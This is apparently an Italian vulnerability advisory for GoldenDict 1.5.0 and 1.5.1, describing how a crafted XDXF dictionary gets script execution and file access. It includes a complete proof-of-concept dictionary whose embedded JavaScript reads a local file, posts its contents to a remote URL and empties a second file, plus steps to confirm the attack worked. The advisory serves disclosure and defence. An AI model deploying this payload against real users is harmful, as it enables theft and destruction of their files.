
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 e 1.5.1 espone un metodo pericoloso che consente di leggere e modificare file quando un utente aggiunge un dizionario appositamente predisposto e cerca un qualsiasi termine incluso in tale dizionario.
Il prodotto fornisce un'interfaccia per l'interazione con attori esterni, che include un metodo pericoloso in GoldenDict (ver. 1.5.0, 1.5.1) non adeguatamente limitato. Ciò consente a un attaccante remoto di ottenere accesso in lettura e modifica ai file sul file system dell'utente quando un dizionario dannoso predisposto viene aggiunto e utilizzato nel programma.
CWE-749: Metodo o funzione pericolosa esposta; CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
Eseguibile GoldenDict, file del codice sorgente xdxf.cc, file del codice sorgente xdxf2html.cc, file del codice sorgente stardict.cc.
Remoto
true
true
Accesso in lettura e modifica dei file sul file system dell'utente
Per sfruttare la vulnerabilità, un utente deve aggiungere un dizionario dannoso al programma e cercare un qualsiasi termine incluso in tale dizionario.
Grebennikov Timofey, specialista del gruppo di penetration testing del reparto di controllo della sicurezza dello sviluppo del Gruppo Astra.
https://github.com/goldendict/goldendict/releases
GoldenDict è un programma grafico per la ricerca di termini su Wikipedia e in dizionari installati localmente. Sono supportati vari formati di dizionario, incluso il formato XDXF con marcatura XML. I dizionari vengono distribuiti su Internet da altri utenti.
Il programma usa un motore di rendering web, incluso nel pacchetto di componenti Qt Widgets, per visualizzare e mostrare le parole dai dizionari.
Sono state scoperte diverse violazioni di sicurezza, che insieme consentono di realizzare una vulnerabilità critica:
Insieme, queste violazioni portano alla possibilità di ottenere accesso ai file dell'utente incorporando codice JS dannoso nella marcatura XML di un dizionario XDXF scaricato da Internet.
Per testare la vulnerabilità su Windows, puoi eseguire uno script che agisce su due file predisposti nel file system.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
Quando inizializzato, questo dizionario invierà il contenuto di secret.txt al server remoto e cancellerà idea.txt.
Verifica il successo dell'attacco: il destinatario riceverà un messaggio contenente il contenuto del file secret.txt e il file idea.txt sarà vuoto.
La vulnerabilità colpisce sia sistemi Windows che Linux. Per riprodurre la vulnerabilità su un sistema Linux, è necessario usare directory diverse per archiviare i file di test e specificarlo nel codice dannoso.